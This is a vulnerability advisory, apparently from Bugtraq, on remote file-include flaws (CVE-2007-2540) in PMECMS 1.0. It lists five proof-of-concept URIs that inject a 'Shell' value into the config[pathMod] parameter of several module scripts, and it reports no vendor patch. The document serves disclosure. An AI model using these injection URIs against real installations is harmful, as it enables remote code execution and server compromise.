PMECMS Config[PathMod] Multiple Remote File Include Vulnerabilities

Bugtraq ID:	23829
Class:	Input Validation Error
CVE:	CVE-2007-2540
Remote:	Yes
Local:	No
Published:	May 03 2007 12:00AM
Updated:	May 07 2015 05:39PM
Credit:	GolD_M is credited with the discovery of these vulnerabilities.
Vulnerable:	PMECMS PMECMS 1.0
Not Vulnerable:

PMECMS Config[PathMod] Multiple Remote File Include Vulnerabilities

PMECMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect PMECMS 1.0; other versions may also be vulnerable.

PMECMS Config[PathMod] Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/mod/image/index.php?config[pathMod]=Shell
http://www.example.com/mod/liens/index.php?config[pathMod]=Shell
http://www.example.com/mod/liste/index.php?config[pathMod]=Shell
http://www.example.com/mod/special/index.php?config[pathMod]=Shell
http://www.example.com/mod/texte/index.php?config[pathMod]=Shell

PMECMS Config[PathMod] Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PMECMS Config[PathMod] Multiple Remote File Include Vulnerabilities

References:

• PMECMS Homepage (PMECMS)